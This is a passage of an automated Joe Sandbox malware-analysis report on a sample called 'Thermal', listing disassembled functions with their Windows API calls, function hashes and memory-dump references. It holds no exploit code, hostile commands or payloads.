Instruction Fuzzy Hash: D531E471600218AFDF10AF64DC85FBE7BADEB58724F044129FD05AB290DB70AD448BA1

Function 0017E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0017E3A5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0017E3CB
SysAllocString.OLEAUT32(00000000), ref: 0017E3CE
SysAllocString.OLEAUT32 ref: 0017E3EF
SysFreeString.OLEAUT32 ref: 0017E3F8
StringFromGUID2.OLE32(?,?,00000028), ref: 0017E412
SysAllocString.OLEAUT32(?), ref: 0017E420

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 75b8a2668339fcf1b482f221cde47a4d0f3b5cfee32f1c80827065ee2fd7ff83
Instruction ID: ddbd2d8cff4c88edd748933a7c70d9edb0dd5afc523234c41d71e62f8c80621b
Opcode Fuzzy Hash: 75b8a2668339fcf1b482f221cde47a4d0f3b5cfee32f1c80827065ee2fd7ff83
Instruction Fuzzy Hash: AA214435604204AFAB119FA8DC88DAF77ECEB0D360B018665FA19CB260D770EC818B64

Function 001A7BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00122111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0012214F
Part of subcall function 00122111: GetStockObject.GDI32(00000011), ref: 00122163
Part of subcall function 00122111: SendMessageW.USER32(00000000,00000030,00000000), ref: 0012216D

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 001A7C57
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 001A7C64
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 001A7C6F
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 001A7C7E
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 001A7C8A

Strings

Msctls_Progress32, xrefs: 001A7C28

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: b7597690b442e32ee89d41fb11247a95bb851eb464e4ff4670fc7744d1fd9c81
Instruction ID: beb1e2e7727505121c237ebce2f1392f4fc671a6d19291f3c86bbbfeef0eb96f
Opcode Fuzzy Hash: b7597690b442e32ee89d41fb11247a95bb851eb464e4ff4670fc7744d1fd9c81
Instruction Fuzzy Hash: 3711B6B615021ABEEF158F60CC85EEB7F5DEF09768F014115BB04A6090C7719C21DBA0

Function 00149D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00149D16

Part of subcall function 001433B7: EncodePointer.KERNEL32(00000000), ref: 001433BA
Part of subcall function 001433B7: __initp_misc_winsig.LIBCMT ref: 001433D5
Part of subcall function 001433B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0014A0D0
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0014A0E4
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0014A0F7
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0014A10A
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0014A11D
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0014A130
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0014A143
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0014A156
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0014A169
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0014A17C
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0014A18F
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 0014A1A2
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0014A1B5
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0014A1C8
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0014A1DB
Part of subcall function 001433B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0014A1EE

__mtinitlocks.LIBCMT ref: 00149D1B
__mtterm.LIBCMT ref: 00149D24

Part of subcall function 00149D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00149D29,00147EFD,001DCD38,00000014), ref: 00149E86
Part of subcall function 00149D8C: _free.LIBCMT ref: 00149E8D
Part of subcall function 00149D8C: DeleteCriticalSection.KERNEL32(001E0C00,?,?,00149D29,00147EFD,001DCD38,00000014), ref: 00149EAF

__calloc_crt.LIBCMT ref: 00149D49
__initptd.LIBCMT ref: 00149D6B
GetCurrentThreadId.KERNEL32 ref: 00149D72

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: aa0442e1d949b6e39b1810218d7f3993b819b6a91075afa81754f2a8405f6873
Instruction ID: e0c7870ffc3ed990d6236c8ef60eccb3eeda3e0810367d27294b10d9d167c7d3
Opcode Fuzzy Hash: aa0442e1d949b6e39b1810218d7f3993b819b6a91075afa81754f2a8405f6873
Instruction Fuzzy Hash: D1F090329497115AE739BBF47C4364B2AD4DF51730F200759F468DA0F3EF50C9814190

Function 001441B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00144282,?), ref: 001441D3
GetProcAddress.KERNEL32(00000000), ref: 001441DA
EncodePointer.KERNEL32(00000000), ref: 001441E6
DecodePointer.KERNEL32(00000001,00144282,?), ref: 00144203

Strings

RoInitialize, xrefs: 001441C2
combase.dll, xrefs: 001441CE

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: 5d48e4b8de2af29c4bc910bae3963e178f8fe71450002e7ced53f3508fa94f6e
Instruction ID: ef118156f503f766582abf0649c5438c328319944da570c3cff612620df4f43e
Opcode Fuzzy Hash: 5d48e4b8de2af29c4bc910bae3963e178f8fe71450002e7ced53f3508fa94f6e
Instruction Fuzzy Hash: C1E01A70690741AFDB512FB0EC8DB4936A6B758B0BF604924F511D98B0DBB554C58F00

Function 0014428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,001441A8), ref: 001442A8
GetProcAddress.KERNEL32(00000000), ref: 001442AF
EncodePointer.KERNEL32(00000000), ref: 001442BA
DecodePointer.KERNEL32(001441A8), ref: 001442D5

Strings

RoUninitialize, xrefs: 00144297
combase.dll, xrefs: 001442A3

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 4f0cab6b0e34b6b98a80fe8e8181f2a00d7a81113be38bf98944a1b11dbdadf3
Instruction ID: a403672efe430087b4fde15a9a0d54f0d0071c43e7d6242f888b63b63fcaba75
Opcode Fuzzy Hash: 4f0cab6b0e34b6b98a80fe8e8181f2a00d7a81113be38bf98944a1b11dbdadf3
Instruction Fuzzy Hash: 68E0B670650740AFDB529FA0ED8DB4A3AA5B708B0AF900618F011D99B0CBB485D4DA10

Function 0012218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 001221B8
GetWindowRect.USER32(?,?), ref: 001221F9
ScreenToClient.USER32(?,?), ref: 00122221
GetClientRect.USER32(?,?), ref: 00122350
GetWindowRect.USER32(?,?), ref: 00122369

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 45ac7d4b05f150dbf5813a7f4e252bfde5d2ac916db95ad5c4d495933c470820
Instruction ID: b081266c3a6a8e1e71710111b37a93f903bedebc08837b4ff34c1ccf80f1fbe6
Opcode Fuzzy Hash: 45ac7d4b05f150dbf5813a7f4e252bfde5d2ac916db95ad5c4d495933c470820
Instruction Fuzzy Hash: 35B17039900249EBDF14CFA8C5807EEB7B1FF08710F148169ED69EB254DB35AA60DB64

Function 00186A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00186BC6
_memmove.LIBCMT ref: 00186B01

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

_memmove.LIBCMT ref: 00186B74
_memmove.LIBCMT ref: 00186C5B
_memmove.LIBCMT ref: 00186C74
_memmove.LIBCMT ref: 00186C90

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: 2186326155f1a0005fab314c3996bc8578aff0bb28f55fd9058a7e5cf11dcac3
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: 8461CE3050069AABCF15FFA4CC82EFE3BA9AF25308F044559F8596B1A2DB349E55CB50

Function 001A0844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 001A147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,001A040D,?,?), ref: 001A1491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 001A091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001A095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 001A0980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 001A09A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 001A09EC
RegCloseKey.ADVAPI32(00000000), ref: 001A09F9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: d1c0aa812308217aaa39527c0c0e0e6991ed7588e11ea985749f18d801e8127b
Instruction ID: 5d79f97b0a577473449ffa2a8c6cd0a9f7741f015a92a710062d58898afc082f
Opcode Fuzzy Hash: d1c0aa812308217aaa39527c0c0e0e6991ed7588e11ea985749f18d801e8127b
Instruction Fuzzy Hash: 51516631208204AFD715EF64C885E6FBBE9FF99314F044A1DF589872A2DB31E945CB92

Function 0017F688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0017F6A2
VariantClear.OLEAUT32(00000013), ref: 0017F714
VariantClear.OLEAUT32(00000000), ref: 0017F76F
_memmove.LIBCMT ref: 0017F799
VariantClear.OLEAUT32(?), ref: 0017F7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0017F814

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 0590f1d8cd743501f89072ca8da662663e1bcd588126ed7cabf2d08ea0eb4fa9
Instruction ID: dd0ab446fcce476c358acdc8935f753b59bf9771636f30f918771c304dd0aab6
Opcode Fuzzy Hash: 0590f1d8cd743501f89072ca8da662663e1bcd588126ed7cabf2d08ea0eb4fa9
Instruction Fuzzy Hash: 7A5139B5A00209EFDB14CF58C884AAAB7B8FF4C354B15856EE959DB304D731E952CFA0

Function 001829B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001829FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00182A4A
IsMenu.USER32(00000000), ref: 00182A6A
CreatePopupMenu.USER32 ref: 00182A9E
GetMenuItemCount.USER32(000000FF), ref: 00182AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00182B2D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 8876b68976837fb7d880918ccb3687005e3debbf2b65d854260a0c322632f06f
Instruction ID: 6282d94b0be3714c714bfc57e99db59de8e5ac05d1f04d921fcb3eecbaab716d
Opcode Fuzzy Hash: 8876b68976837fb7d880918ccb3687005e3debbf2b65d854260a0c322632f06f
Instruction Fuzzy Hash: F251BD70601249DFCF2AEF68D8C8AAEBBF5EF15314F104259E8119B2A1D7709A44CF51

Function 00121B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00121B76
GetWindowRect.USER32(?,?), ref: 00121BDA
ScreenToClient.USER32(?,?), ref: 00121BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00121C08
EndPaint.USER32(?,?), ref: 00121C52

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: bb8169880b776bb90235eabba2939e2547b6948f7c15588fc34aec83f7abfc61
Instruction ID: a4915dabb01c4ea0d15ab3a97e2f3989ee1e0ca4e7f87ffdc95f444be1568eb5
Opcode Fuzzy Hash: bb8169880b776bb90235eabba2939e2547b6948f7c15588fc34aec83f7abfc61
Instruction Fuzzy Hash: E441D230508310AFD711DF24ECC8FBA7BF8EB69361F140669F9658B2A1C77098A5DB61

Function 001ABD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(001E77B0,00000000,010E4AA0,?,?,001E77B0,?,001ABC1A,?,?), ref: 001ABD84
EnableWindow.USER32(?,00000000), ref: 001ABDA8
ShowWindow.USER32(001E77B0,00000000,010E4AA0,?,?,001E77B0,?,001ABC1A,?,?), ref: 001ABE08
ShowWindow.USER32(?,00000004,?,001ABC1A,?,?), ref: 001ABE1A
EnableWindow.USER32(?,00000001), ref: 001ABE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 001ABE61

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 19622a5e4eb09bb331770cee97ece217ef8407e8df16f38a8a7a6bdd769b6f26
Instruction ID: 811a58f0e498b776e1e98e9211985862aa3ecf4b65cfc76d772e430022fe4bd6
Opcode Fuzzy Hash: 19622a5e4eb09bb331770cee97ece217ef8407e8df16f38a8a7a6bdd769b6f26
Instruction Fuzzy Hash: 31414138608184AFDB26CF64C4C9BD57BE1FF0A314F1841A9EA598F6A3C732A855CB51

Function 00197788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,0019550C,?,?,00000000,00000001), ref: 00197796

Part of subcall function 0019406C: GetWindowRect.USER32(?,?), ref: 0019407F

GetDesktopWindow.USER32 ref: 001977C0
GetWindowRect.USER32(00000000), ref: 001977C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 001977F9

Part of subcall function 001857FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00185877

GetCursorPos.USER32(?), ref: 00197825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00197883

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: aa787bef2e1a710e758659678ab16dbfdf3f641560f8564845194e181ac5f9f9
Instruction ID: 7029a65bcd32b5ac9e474d3c853ea038991d4bae4f50610c20d28fb7cfd99754
Opcode Fuzzy Hash: aa787bef2e1a710e758659678ab16dbfdf3f641560f8564845194e181ac5f9f9
Instruction Fuzzy Hash: 4C31D372508305AFDB21DF14D849F9BB7EAFF88314F000A19F58997191CB30EA49CBA2

Function 00179431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00178CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00178CDE
Part of subcall function 00178CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00178CE8
Part of subcall function 00178CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00178CF7
Part of subcall function 00178CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00178CFE
Part of subcall function 00178CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00178D14

GetLengthSid.ADVAPI32(?,00000000,0017904D), ref: 00179482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0017948E
HeapAlloc.KERNEL32(00000000), ref: 00179495
CopySid.ADVAPI32(00000000,00000000,?), ref: 001794AE
GetProcessHeap.KERNEL32(00000000,00000000,0017904D), ref: 001794C2
HeapFree.KERNEL32(00000000), ref: 001794C9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: ffe0576bbf69c903459f3ff685c05d2272c8267852b91573dd62990e6b40de7f
Instruction ID: b096cbd03ccf41553f50b39669b59241645c59297ebf555b28d836dc54f85bdc
Opcode Fuzzy Hash: ffe0576bbf69c903459f3ff685c05d2272c8267852b91573dd62990e6b40de7f
Instruction Fuzzy Hash: 1811AC72501604EFDB169FA8CD09BAF7BB9EB49356F108118E84A97210C7369949CB60

Function 001791CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00179200
OpenProcessToken.ADVAPI32(00000000), ref: 00179207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00179216
CloseHandle.KERNEL32(00000004), ref: 00179221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00179250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00179264

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

